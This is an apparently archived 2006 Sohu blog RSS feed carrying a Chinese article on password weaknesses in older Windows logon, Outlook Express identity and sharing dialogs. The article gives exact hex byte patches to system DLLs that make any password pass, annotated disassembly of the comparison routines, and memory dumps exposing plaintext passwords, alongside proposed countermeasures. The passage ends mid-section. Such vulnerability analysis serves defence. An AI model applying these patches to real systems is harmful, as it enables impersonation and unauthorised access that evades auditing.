<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet href="/xsl/rss.xsl" type="text/xsl" media="screen"?>
<rss version="2.0" 
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:ppp="http://blog.sohu.com/rss/module/ppp/"
	>

	<channel>
		<title>古典辣M&#38;#176;的书房</title>
		<link>http://badlam.blog.sohu.com/</link>
		<description><![CDATA[]]></description>
		<pubDate>Sun, 18 Jun 2006 00:20:22 +0800</pubDate>
		<generator>搜狐博客</generator>
		<ppp:ebi>36ad073792</ppp:ebi>
		<image>
			<title>http://blog.sohu.com</title>
			<url>http://js.pp.sohu.com/ppp/blog/images/common/logo_150_60.gif</url>
			<link>http://blog.sohu.com/</link>
			<width>100</width>
			<height>43</height>
			<description>搜狐博客</description>
		</image>
		<item>
			<title>视窗操作系统密码体系的弱点及对策</title>
			<link>http://badlam.blog.sohu.com/1049243.html</link>
			<comments>http://badlam.blog.sohu.com/1049243.html#comment</comments>
			<dc:creator>古典辣M&#38;#176;的书房</dc:creator>
			<pubDate>Sat, 25 Feb 2006 00:17:53 +0800</pubDate>
			<category>技术</category>
			<guid>http://badlam.blog.sohu.com/1049243.html</guid>
			<description><![CDATA[<P><FONT color="#808080">作者：廖红旭</FONT></P><P><TABLE cellspacing="0" cellpadding="0" border="0"><TBODY><TR><TD><TABLE cellpadding="2" bgcolor="#e9e9e9" border="0"><TBODY><TR><TD valign="top"><H3>一、问题的提出</H3><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 本文仅就此处所列的几个在实际工作里发现的问题，对目前普遍使用的视窗操作系统里隐藏的几个有关密码体系的危险弱点进行了分析并给出相应对策，这些危险弱点导致的计算机安全隐患，希望能引起相关用户的重视。</DIV><DIV>&nbsp;</DIV><DIV><STRONG>1、视窗操作系统&ldquo;用户登录&rdquo;对话框问题</STRONG></DIV><DIV>&nbsp;</DIV><DIV>图A是大家熟悉的&ldquo;用户登录&rdquo;对话框：</DIV><P align="center"><IMG src="http://www.nsc.org.cn/UploadFile/2005514213142824.jpg" border="0"></P><DIV>&nbsp;</DIV><DIV align="center"></DIV><DIV align="center">图A</DIV><DIV>&nbsp;</DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 大家都知道，只要愿意，现在可以通过很多能方便从互联网上下载的实用程式对图A所示的&ldquo;TesT&rdquo;用户进行&ldquo;Crack&rdquo;以获得其原先设定在TesT.PwL文件内的正确密码，尽管这需要耗些时间，目的是能假冒用户&ldquo;TesT&rdquo;登录操作系统或应用系统，以逃避安全审计系统。</DIV><DIV>&nbsp;</DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 问题是视窗操作系统其内置的密码安全体系存在很多弱点甚至缺陷，导致对于上述操作系统起码的安全环节&mdash;&mdash;用户登录，只需对一个名为&ldquo;■spwL&rdquo;的系统动态链接库文件，仅仅修改其&ldquo;<B>一个</B>&rdquo;字节后，视窗操作系统这个起码的安全环节就告失效！利用这个弱点相比上述&ldquo;Crack&rdquo;方法几乎没有&ldquo;时间成本&rdquo;。</DIV><DIV>&nbsp;</DIV><DIV><STRONG>相关实验：</STRONG></DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在视窗操作系统内找到名为&ldquo;■spwL&rdquo;的系统动态链接库文件，然后在常见的十六进制编辑器里搜索十六进制串{ B9 <B>10</B> 00 00 00 2B }后将其间的{ 10 }改为{ 00 }即上述十六进制串被改动一个字节后变为{ B9 <B>00</B> 00 00 00 2B }，即：</DIV><DIV>&nbsp;</DIV><DIV align="center"><TABLE cellspacing="0" cellpadding="0" border="1"><TBODY><TR><TD valign="top"><DIV align="center">搜索 &rarr; B9 &nbsp;&nbsp;<B>10</B>&nbsp;&nbsp; 00 &nbsp;00 &nbsp;00 &nbsp;2B</DIV><DIV align="center">替为 &rarr; B9 &nbsp;&nbsp;<B>00</B>&nbsp;&nbsp; 00 &nbsp;00 &nbsp;00 &nbsp;2B</DIV></TD></TR></TBODY></TABLE></DIV><DIV>&nbsp;</DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 保存这个改动，然后尝试再次登录，就会发现，所有在系统初始化文件里记录的用户，都可以任意的密码甚至仅仅一个回车键的形式轻松登录，而&ldquo;合法&rdquo;用户很难察觉。</DIV><DIV>&nbsp;</DIV><DIV><STRONG>2、视窗操作系统&ldquo;标识登录&rdquo;对话框问题</STRONG></DIV><DIV>图B是大家熟悉的&ldquo;标识登录&rdquo;对话框：</DIV><DIV>&nbsp;</DIV><P align="center"><IMG src="http://www.nsc.org.cn/UploadFile/2005514213152705.jpg" border="0"></P><DIV align="center"></DIV><DIV align="center">图B</DIV><DIV align="center">&nbsp;</DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这个&ldquo;标识登录&rdquo;对话框最常见的是在用户试图使用视窗操作系统内置的OutLooK Express电子邮件组件时由视窗操作系统弹出。当用户选择自己的标识并输入正确的密码后即可通过OutLooK Express收发电子邮件。</DIV><DIV>&nbsp;</DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 同样地，大家可以在互联网上下载一些相关的实用程式来&ldquo;Crack&rdquo;上述&ldquo;TesT&rdquo; 标识的密码，然后可以假冒合法用户的标识收发邮件，但是通过这些实用程式执行后需要消耗时间才能获得结果。</DIV><DIV>&nbsp;</DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 同样地，我们发现视窗操作系统内置的密码安全体系存在的相关弱点，导致用户的&ldquo;标识密码&rdquo;形同虚设&mdash;&mdash;只需对一个名为&ldquo;■sidenT&rdquo;的系统动态链接库文件，仅仅修改其&ldquo;<B>二个</B>&rdquo;字节后，视窗操作系统的这个安全环节也告失效。</DIV><DIV>&nbsp;</DIV><DIV><STRONG>相关实验：</STRONG></DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在视窗操作系统内找到名为&ldquo;■sidenT&rdquo;的系统动态链接库文件，然后在常见的十六进制编辑器里搜索十六进制串{ 8A<B>18</B>8AD33A19751A84D274128A<B>58</B>01}后将其间的{ 18 }改为{ 19 }及{ 58 }改为{ 59 }即上述十六进制串被改动二个字节后变为{ 8A<B>19</B>8AD33A19751A 84D27412 8A<B>59</B>01 }，即：</DIV><DIV>&nbsp;</DIV><DIV align="center"><TABLE cellspacing="0" cellpadding="0" border="1"><TBODY><TR><TD valign="top"><DIV align="center">搜索 &rarr; 8A&nbsp; <B>18 </B>&nbsp;8AD3 3A19 751A 84D2 7412 8A&nbsp; <B>58&nbsp; </B>01</DIV><DIV align="center">替为 &rarr; 8A&nbsp; <B>19&nbsp; </B>8AD3 3A19 751A 84D2 7412 8A&nbsp; <B>59&nbsp; </B>01</DIV></TD></TR></TBODY></TABLE></DIV><DIV>&nbsp;</DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 保存这个改动，然后尝试再次登录，就会发现，所有标识，都可以任意的密码甚至仅仅一个回车键的形式轻松登录！而被冒认的&ldquo;标识&rdquo;所有者很难察觉！</DIV><DIV>&nbsp;</DIV><DIV><STRONG>3、视窗操作系统&ldquo;连接登录&rdquo;对话框问题</STRONG></DIV><DIV>图C大家熟悉的&ldquo;连接登录&rdquo;对话框：</DIV><P align="center"><IMG src="http://www.nsc.org.cn/UploadFile/2005514213212784.jpg" border="0"></P><DIV align="center"></DIV><DIV align="center">图C</DIV><DIV>&nbsp;</DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 大家都知道，目前可以方便地通过实用程式，对密码形式的文本框进行&ldquo;透视&rdquo;。这里我们不讨论这些内容，我们希望通过对视窗操作系统的密码安全体系里存在的危险弱点进行讨论，让大家在自己的应用系统里避免类似的疏漏，让我们自己的的应用系统更为安全。</DIV><DIV>&nbsp;</DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 我们发现视窗操作系统内置的密码安全体系存在的相关弱点，导致上述&ldquo;TesT&rdquo;用户的密码在内存里竟以明码出现，根本无须&ldquo;透视&rdquo;而只要在内存里稍微探查一下即可。</DIV><DIV>&nbsp;</DIV><DIV><STRONG>相关实验：</STRONG></DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 使用运行在系统级的内存探查程序或调试器，我们可以轻而易举地在系统内存探查到图C的连接登录密码（图C&ldquo;TesT&rdquo;用户事先设定的密码是&ldquo;Chinese!10-01-1949&rdquo; ）：</DIV><DIV>&nbsp;</DIV><DIV align="right"><I>视窗操作系统之&ldquo;连接登录&rdquo;密码内存探查结果</I><SUP>[2]</SUP></DIV><DIV align="center"><TABLE cellspacing="0" cellpadding="0" border="1"><TBODY><TR><TD><DIV>地址80FD9E2A起</DIV><DIV align="center">&nbsp;00 00 00 00 00 00 00 00-00 00 3F 03 8C 03 26 01&nbsp; ..........?...&amp;.</DIV><DIV align="center">&nbsp;43 68 69 6E 65 73 65 21-31 30 2D 30 31 2D 31 39 &nbsp;<B>Chinese!10-01-19</B></DIV><DIV align="center">&nbsp;34 39 00 00 00 00 00 00-00 00 00 00 00 00 00 00&nbsp; <B>49</B>..............</DIV><DIV align="center">&nbsp;00 00 67 03 B4 03 22 01-54 65 73 54 00 00 00 00&nbsp; ..g...&quot;.<B>TesT</B>....</DIV></TD></TR></TBODY></TABLE></DIV><DIV>&nbsp;</DIV><DIV>在上述探查结果里，我们可以轻易发现&ldquo;TesT&rdquo;用户的连接密码为&ldquo;Chinese!10-01-1949&rdquo;。</DIV><DIV>&nbsp;</DIV><DIV><STRONG>4、视窗操作系统&ldquo;共享登录&rdquo;设置对话框问题</STRONG></DIV><DIV>图D是大家熟悉的&ldquo;共享登录&rdquo;设置对话框： </DIV><P align="center"><IMG src="http://www.nsc.org.cn/UploadFile/2005514213223334.jpg" border="0"></P><DIV align="center"></DIV><DIV align="center">图 D</DIV><DIV>&nbsp;</DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 大家知道，上述对话框同样可以方便地通过实用程式，对密码形式的文本框进行&ldquo;透视&rdquo;。这里我们不讨论这些内容，我们换一个角度来讨论。</DIV><DIV>&nbsp;</DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 我们发现视窗操作系统内置的密码安全体系存在的相关弱点，同样导致上述&ldquo;TesT&rdquo;用户的&ldquo;只读&rdquo;密码以及&ldquo;完全访问&rdquo;密码在内存里以明码出现，根本无须&ldquo;透视&rdquo;而只要在内存里稍微探查一下即可。</DIV><DIV>&nbsp;</DIV><DIV><STRONG>相关实验：</STRONG></DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 使用运行在系统级的内存探查程序或调试器，我们可以轻而易举地在系统内存探查到图D的共享登录设置密码（图D&ldquo;TesT&rdquo;用户事先设定的&ldquo;只读&rdquo;密码以及&ldquo;完全访问&rdquo;密码分别是&ldquo;TesTTesT&rdquo; 及&ldquo;!!GoTo!!&rdquo;&mdash;&mdash;最多八个字符）：</DIV><DIV>&nbsp;</DIV><DIV align="right"><I>视窗操作系统之&ldquo;共享登录&rdquo;设置密码内存探查结果</I></DIV><DIV align="center"><TABLE cellspacing="0" cellpadding="0" border="1"><TBODY><TR><TD><DIV>地址816B55D2起</DIV><DIV align="center">00 00 B6 0F 00 00 00 40-00 00 E7 02 64 03 2A 01&nbsp; .......@.</DIV><DIV align="center">54 65 73 54 54 65 73 54-00 00 00 00 00 00 00 00&nbsp; <B>TesTTesT</B>.</DIV><DIV align="center">00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00&nbsp; .........</DIV><DIV align="center">00 00 3F 03 8C 03 26 01-00 00 00 00 00 00 00 00&nbsp; ..?...&amp;..</DIV><DIV align="center">00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00&nbsp; .........</DIV><DIV align="center">00 00 00 00 00 00 00 00-00 00 67 03 B4 03 22 01&nbsp; .........</DIV><DIV align="center">54 65 73 54 00 00 00 00-00 00 00 00 00 00 00 00&nbsp; <B>TesT</B>.....</DIV><DIV>地址816B57F2起</DIV><DIV align="center">00 00 06 00 00 00 00 00-05 00 57 04 74 06 2E 01&nbsp; .........</DIV><DIV align="center">21 21 47 6F 54 6F 21 21-00 00 00 00 00 00 00 00 <B>&nbsp;!!GoTo!!</B>.</DIV></TD></TR></TBODY></TABLE></DIV><DIV>&nbsp;</DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在上述探查结果里，我们可以轻易地发现&ldquo;TesT&rdquo;用户的&ldquo;只读&rdquo;密码为&ldquo;TesTTesT&rdquo;同时其 &ldquo;完全访问&rdquo;密码为&ldquo;!!GoTo!!&rdquo;）。</DIV><DIV>&nbsp;</DIV><H3>二、问题的分析及对策</H3><DIV><STRONG>1、关于视窗操作系统&ldquo;用户登录&rdquo;对话框问题</STRONG></DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 我们将视窗操作系统内&ldquo;用户登录&rdquo;密码研判的核心代码列出来分析如下。</DIV><DIV align="right">&nbsp;</DIV><DIV align="center"><TABLE cellspacing="0" cellpadding="0" border="1"><TBODY><TR><TD valign="top"><DIV>：&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;：&nbsp; </DIV><DIV>以上进行了多次单向HasH运算并得到长度为128位的HasH串（具体算法分析略）然后与保存在对应PWL文件内的正确值比对，详见以下代码。</DIV><DIV>：&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ：</DIV><DIV><U>7FA71D97 B910000000 mov ecx, 00000010 </U><U>；HasH串为128位即16个字节</U></DIV><DIV>7FA71D9C 2BC0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;sub eax, eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ；初始化EAX寄存器</DIV><DIV>7FA71D9E F3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; repz&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </DIV><DIV>7FA71D9F A6&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cmpsb&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ；进行128位HasH串比对</DIV><DIV>7FA71DA0 7405&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; je 7FA71DA7&nbsp;&nbsp;&nbsp;&nbsp; ；相等，系统认为用户密码正确</DIV><DIV>7FA71DA2 1BC0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sbb eax, eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ；否则置密码比对错误标志 </DIV><DIV>7FA71DA4 83D8FF&nbsp;&nbsp;&nbsp;&nbsp; sbb eax, FFFFFFFF</DIV><DIV>7FA71DA7 85C0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; test eax, eax&nbsp;&nbsp;&nbsp;&nbsp; ；测试密码比对标志位</DIV><DIV>7FA71DA9 B8261C0000 mov eax, 00001C26 ；预置密码错误消息</DIV><DIV>7FA71DAE 7502&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jne 7FA71DB2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ；密码比对错误，则转</DIV><DIV>7FA71DB0 33C0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xor eax, eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ；否则置密码比对正确位 </DIV><DIV>7FA71DB2 5F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop edi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ；恢复现场</DIV><DIV>7FA71DB3 5E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop esi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ；恢复现场</DIV><DIV>7FA71DB4 5B&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pop ebx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ；恢复现场</DIV><DIV>7FA71DB5 8BE5&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov esp, ebp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ；恢复现场</DIV><DIV>7FA71DB7 5D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop ebp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ；恢复现场</DIV><DIV>7FA71DB8 C20400&nbsp;&nbsp;&nbsp;&nbsp; ret 0004&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ；返回</DIV><DIV>：&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ：</DIV></TD></TR></TBODY></TABLE></DIV><DIV>&nbsp;</DIV><DIV>从上述分析可见，当我们将密码比对的长度由&ldquo;0x10H&rdquo; 改为&ldquo;0&rdquo;&mdash;&mdash;也就是将上述</DIV><DIV>&nbsp;</DIV><DIV align="center"><TABLE cellspacing="0" cellpadding="0" border="1"><TBODY><TR><TD valign="top"><DIV align="center"><I>&nbsp;&nbsp;&nbsp; </I><I>将&nbsp;&nbsp;&nbsp; mov ecx, 000000<B>10</B></I> </DIV><DIV align="center">&nbsp;<I>改为 </I>&rarr;<I> mov ecx, 000000<B>00</B></I></DIV></TD></TR></TBODY></TABLE></DIV><DIV>&nbsp;</DIV><DIV>仅仅改动&ldquo;<B>一个</B>&rdquo;字节，&ldquo;用户登录&rdquo;密码的比对结果就将&ldquo;永远&rdquo;正确。</DIV><DIV>&nbsp;</DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 仅仅依赖一条&ldquo;repz cmpsb&rdquo;指令对系统级的密码进行决定性研判是相当危险的，而仅仅通过一条件语句来选择视窗操作系统的密码安全类指令的决定性流向，其实是很&ldquo;传统&rdquo;的低级做法，保护效果相当脆弱。因为不论操作系统采用的单向HasH结果长度多么&ldquo;惊人&rdquo;也不论操作系统在执行&ldquo;repz cmpsb&rdquo;这条研判指令之前进行了多少轮大负荷的迭代编码，我们只要在这一条&ldquo;关键路径&rdquo;上实施&ldquo;点穴&rdquo;&mdash;&mdash;这个层次的安全保护即告失效。</DIV><DIV>&nbsp;</DIV><DIV><STRONG>对策：</STRONG></DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 视窗操作系统在这里的最大&ldquo;疏忽&rdquo;就是对&ldquo;苦心积虑&rdquo;最后获得的128位HasH串仅仅参与简单的比对，并没有进行更有效的利用，建议：</DIV><DIV>&nbsp;</DIV><DIV><B>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 将上述最后运算出来的128位HasH串不论其对错都作为新一轮解码迭代运算的输入算子，对后续的部分关键代码或数据实施解码，这样用户输入正确的密码后自然能正确地继续装载视窗操作系统，否则只能导致错误提示而无法继续正确地装载视窗操作系统</B>。</DIV><DIV>&nbsp;</DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 事实上这是一个明显的安全漏洞。不要认为存储设备上的系统级文件设置了&ldquo;只读&rdquo;、&ldquo;隐藏&rdquo;等权限，就可以高枕无忧。事实上，只要系统的存储设备可以被&ldquo;物理&rdquo;地读写，那么对其上敏感的系统级文件进行&ldquo;篡改&rdquo;就不会是一件&ldquo;相当&rdquo;困难的事情。而在大多数情况下，这件事还是比较容易做到的。有关这个安全漏洞的更进一步讨论，我们将在《脆弱的软件著作权保护方式及对策》一文里进行，并相应地给出一个有效的解决方案。</DIV><DIV>&nbsp;</DIV><DIV><STRONG>2、关于视窗操作系统&ldquo;标识登录&rdquo;对话框问题</STRONG></DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 我们将视窗操作系统内&ldquo;标识登录&rdquo;密码研判的核心代码列出来分析如下。</DIV><DIV align="right">&nbsp;</DIV><DIV align="center"><TABLE cellspacing="0" cellpadding="0" border="1"><TBODY><TR><TD valign="top"><DIV>：&nbsp;&nbsp; ：&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ┏ ECX、EAX分别指向用户输入密码及正确密码</DIV><DIV>797972C3 8D4DE8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea ecx, dword ptr [ebp-18]</DIV><DIV>797972C6 8D85E8FDFFFF lea eax, dword ptr [ebp+FFFFFDE8]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </DIV><DIV><U>797972CC 8A18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov bl, byte ptr [eax] </U><U>；获取第一个密码字符</U></DIV><DIV>797972CE 8AD3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov dl, bl&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ；保存起副本</DIV><DIV>797972D0 3A19&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmp bl, byte ptr [ecx] ；与正确的密码比对</DIV><DIV>797972D2 751A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jne 797972EE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ；第一个密码字符不正确</DIV><DIV>797972D4 84D2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; test dl, dl&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ；为最后一个密码字符？</DIV><DIV>797972D6 7412&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; je 797972EA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ；是则转</DIV><DIV><U>797972D8 8A5801&nbsp;&nbsp;&nbsp;&nbsp; mov bl, byte ptr [eax+01] </U><U>；获取下一密码字符</U></DIV><DIV>797972DB 8AD3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov dl, bl&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ；保存其副本&nbsp;&nbsp; </DIV><DIV>797972DD 3A5901&nbsp;&nbsp;&nbsp;&nbsp; cmp bl, byte ptr [ecx+01] ；与正确的密码比对</DIV><DIV>797972E0 750C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jne 797972EE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ；比对不成功则转</DIV><DIV>797972E2 40&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inc eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ；调整当前密码字符指针</DIV><DIV>797972E3 40&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inc eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ；调整当前密码字符指针</DIV><DIV>797972E4 41&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inc ecx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ；调整正确密码字符指针</DIV><DIV>797972E5 41&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inc ecx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ；调整正确密码字符指针</DIV><DIV>797972E6 84D2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; test dl, dl&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ；为最后一个密码字符？</DIV><DIV>797972E8 75E2&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;jne 797972CC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ；尚未比对完则转</DIV><DIV>797972EA 33C0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xor eax, eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ；比对结束并且全部正确</DIV><DIV>797972EC EB05&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmp 797972F3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ；转后续测试标志位</DIV><DIV>797972EE 1BC0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sbb eax, eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ；比对结束但是不正确</DIV><DIV>797972F0 83D8FF&nbsp;&nbsp;&nbsp;&nbsp; sbb eax, FFFFFFFF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ；置错误标志位</DIV><DIV>797972F3 85C0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; test eax, eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ；测试标志位</DIV><DIV>797972F5 7434&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; je 7979732B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ；密码比对正确则转</DIV><DIV>：&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ：</DIV></TD></TR></TBODY></TABLE></DIV><DIV>&nbsp;</DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 从上述分析可见，当我们将密码比对的二个指针EAX、ECX均指向同一个地址&mdash;&mdash;也就是将上述</DIV><DIV>&nbsp;</DIV><DIV align="center"><TABLE cellspacing="0" cellpadding="0" border="1"><TBODY><TR><TD valign="top"><DIV><I>将 </I>&nbsp;&nbsp;&nbsp;<I>mov bl, byte ptr [<B>eax</B>]</I></DIV><DIV><I>改为</I> &rarr; <I>mov bl, byte ptr [<B>ecx</B>]</I> </DIV><DIV align="right"><I>将</I>&nbsp;&nbsp; <I>mov bl, byte ptr [<B>eax</B>+01]</I></DIV><DIV align="right">&nbsp;<I>改为</I> &rarr; <I>mov bl, byte ptr [<B>ecx</B>+01]</I></DIV></TD></TR></TBODY></TABLE></DIV><DIV>&nbsp;</DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 仅仅改动&ldquo;<B>二个</B>&rdquo;字节，&ldquo;标识登录&rdquo;密码的比对结果就将&ldquo;永远&rdquo;正确。这同样是一个明显的安全漏洞。这个漏洞源自明文密码比较的指令过于接近，很容易通过对有关的指令代码进行&ldquo;篡改&rdquo;达到&ldquo;冒名&rdquo;攻击的目的。</DIV><DIV>&nbsp;</DIV><DIV><STRONG>对策：</STRONG></DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 